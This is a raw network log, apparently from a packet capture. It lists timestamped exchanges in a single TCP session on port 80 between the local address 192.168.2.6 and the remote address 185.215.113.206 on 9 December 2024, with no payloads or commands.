Dec 9, 2024 18:20:39.677006006 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.677102089 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.677145004 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.678004980 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.678047895 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.678088903 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.678133011 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.678911924 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.678956985 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.679006100 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.679049969 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.679878950 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.679929018 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.679991961 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.680037022 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.680988073 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.681034088 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.681209087 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.681251049 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.682065010 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.682111025 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.682169914 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.682214022 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.682833910 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.682877064 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.683068037 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.683109999 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.683877945 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.683933020 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.683996916 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.684042931 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.684818029 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.684858084 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.684933901 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.684973001 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.685853004 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.685902119 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.686047077 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.686086893 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.686853886 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.686893940 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.686959028 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.687005043 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.687864065 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.687911987 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.687992096 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.688033104 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.688724995 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.688767910 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.727694988 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.727770090 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.727881908 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.727930069 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.728178978 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.728199959 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.728233099 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.728240967 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.728984118 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.729038000 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.729108095 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.729147911 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.730089903 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.730140924 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.730166912 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.730206966 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.746292114 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.746351004 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.746412039 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.746459961 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.746767044 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.746815920 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.746855021 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.746901989 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.782963037 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.783054113 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.783077955 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.783180952 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.783370018 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.783435106 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.783498049 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.783546925 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.783700943 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.783749104 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.784635067 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.784684896 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.784754038 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.784801960 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.785284996 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.785345078 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.785419941 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.785465956 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.786211967 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.786262035 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.786452055 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.786498070 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.787183046 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.787229061 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.787388086 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.787436962 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.788237095 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.788284063 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.788352966 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.788398027 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.789254904 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.789321899 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.789343119 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.789387941 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.790271044 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.790318966 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.790402889 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.790484905 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.791146994 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.791196108 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.791301012 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.791343927 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.792176008 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.792220116 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.792298079 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.792340994 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.793081045 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.793128014 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.793287992 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.793330908 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.794056892 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.794102907 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.794243097 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.794289112 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.795036077 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.795084000 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.795118093 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.795164108 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.796011925 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.796058893 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.796134949 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.796175003 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.796988010 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.797035933 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.797127008 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.797173023 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.797977924 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.798023939 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.798214912 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.798260927 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.798995972 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.799041986 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.799185991 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.799226046 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.799999952 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.800048113 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.800147057 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.800193071 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.803006887 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.803059101 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.803080082 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.803092003 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.803128004 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.804075956 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.804085970 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.804100990 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.804136038 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.804142952 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.806838036 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.806885004 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.806994915 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.807039976 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.851380110 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.851458073 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.851630926 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.851630926 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.851816893 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.851877928 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.851932049 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.851982117 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.852782965 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.852834940 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.852919102 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.852967024 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.853692055 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.853737116 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.857578993 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.857625961 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.857660055 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.857706070 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.857989073 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.858033895 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.858189106 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.858252048 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.858987093 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.859035015 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.859102011 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.859148979 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.859919071 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.859966040 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.870887995 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.870964050 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.870997906 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.871176958 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.871473074 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.871517897 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.871553898 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.871598005 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.872292042 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.872338057 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.907473087 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.907529116 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.907545090 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.907577991 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.908406973 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.908459902 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.909146070 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.909158945 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.909172058 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.909183979 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.909198046 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.909219027 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.909250975 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.909774065 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.909823895 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.909925938 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.909974098 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.910684109 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.910732031 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.910795927 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.910841942 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.911655903 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.911701918 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.911747932 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.911794901 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.912525892 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.912574053 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.912616014 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.912657022 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.916589022 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.916601896 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.916613102 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.916647911 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.916696072 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.916707039 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.916743994 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.917085886 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.917098045 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.917207956 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.917665958 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.917680979 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.917731047 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.917957067 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.918009043 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.918045044 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.918088913 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.918822050 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.918869019 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.918926001 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.918972969 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.919650078 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.919693947 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.919744968 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.919786930 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.920634985 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.920686007 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.920725107 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.920772076 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.921717882 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.921772003 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.921925068 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.921967983 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.922544003 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.922590971 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.922662973 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.922709942 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.923413038 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.923456907 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.923556089 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.923604965 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.924578905 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.924624920 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.924772978 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.924817085 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.925584078 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.925630093 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.925789118 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.925836086 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.926532030 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.926577091 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.926671028 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.926718950 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.927612066 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.927659035 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.927689075 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.927732944 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.928744078 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.928792953 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.929024935 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.929069042 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.976340055 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.976428986 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.976506948 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.976766109 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.976823092 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.976893902 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.976943016 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.977688074 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.977739096 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.977793932 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.977838993 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.978676081 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.978723049 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.978859901 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.978902102 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.979547024 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.979592085 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.979605913 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.979643106 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.980465889 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.980510950 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.980564117 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.980607033 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.981410027 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.981455088 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.981494904 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.981539011 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.994774103 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.994837999 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.994889021 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.994929075 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.995304108 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.995352983 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.995388985 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.995436907 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.033925056 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.033942938 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.034019947 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.034034014 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.034250975 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.034264088 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.034296989 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.034308910 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.034902096 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.034945965 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:40.035156012 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:40.035197020 CET	49788	80	192.168.2.6	185.215.113.206
